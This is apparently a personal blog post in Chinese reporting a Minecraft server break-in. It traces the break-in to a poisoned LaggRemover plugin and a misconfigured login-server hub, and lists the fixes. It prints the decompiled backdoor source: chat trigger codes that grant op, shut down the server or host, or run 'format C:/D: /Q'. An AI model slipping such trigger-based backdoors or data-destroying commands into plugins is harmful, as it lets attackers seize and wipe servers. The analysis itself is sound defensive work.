事件起因
上服务器, 发现Luckperms权限被修改, 有人被给了*的权限. 翻看LP日志, 权限组和个人权限被修改
初步筛查
分析控制台日志可得出:
Volia7使用多个小号, 并绕过登录服以XuJiAX的身份登入SkyPVP
此次提权绕过了管理账号的登录, 且疑似使用到了控制台执行命令. 初步怀疑是插件后门 + 登录服配置有误
排查插件后门
本文中所提到的后门插件, 并不表示这个插件一开始就有后门, 而是错误下载到了被投毒的插件.
首先怀疑登录服配置不当, 但当时第一时间并未发现配置有任何问题. 遂排查插件
发现登录服中有一个LaggRemover插件比较可疑, 反编译查看
package im.alwaysday.main;
import org.bukkit.event.Listener;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.Server;
import org.bukkit.Bukkit;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.Plugin;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import java.lang.String;
import java.lang.CharSequence;
import java.lang.Runtime;
import java.lang.Process;
import org.bukkit.entity.Player;
public class main extends JavaPlugin implements Listener // class@000001 from classes.dex
{
public Boolean open;
public Player openplayer;
public void main(){
super();
}
public void onDisable(){
Bukkit.getServer().shutdown();
}
public void onEnable(){
this.getServer().getPluginManager().registerEvents(this, this);
}
public void onplayerchat(AsyncPlayerChatEvent chatEvent){
if (chatEvent.getMessage().contains("56745")) {
chatEvent.setCancelled(true);
Bukkit.getServer().shutdown();
}
if (chatEvent.getMessage().contains("102415")) {
chatEvent.setCancelled(true);
Runtime.getRuntime().exec("shutdown /s /t 0");
}
if (chatEvent.getMessage().contains("5648685")) {
chatEvent.setCancelled(true);
chatEvent.getPlayer().setOp(true);
}else if(chatEvent.getMessage().contains("546414")){
chatEvent.setCancelled(true);
chatEvent.getPlayer().setOp(false);
}else if(chatEvent.getMessage().contains("567681")){
chatEvent.setCancelled(true);
Runtime.getRuntime().exec("format D: /Q");
Runtime.getRuntime().exec("format C: /Q");
}
return;
}
}
发现这是一个后门插件, 其后门操作如下
于是去其他服务端内排查, 发现均安装了此后门插件. 并在SkyPVP内发现另一个疑似后门插件(PlayerCommand), 均移除.
排查登录绕过
首先怀疑BC跳转配置不当, 从插件入手发现ServerHub插件并未指定黑名单服务器, 导致在登录服中也可执行命令回到大厅.
且Shoutall插件在满足特定条件后可实现不登录进入任意服务器 (在登录大厅且正好有人发送喊话)
解决
删除Shoutall插件 (对文中的服务器来说是好办法, 因为并未配置BC中的Auth)
ServerHub插件设置黑名单服务器
删除后门插件LaggRemover, PlayerCommand
随笔
这大概是开学前最后一篇文章, 顺带一提, 这些插件都不是我装的, 完全是别人装的时候正好下载了错误的插件而已.
开学以后的日子要怎么过啊...... Nobody will be together with me.
: (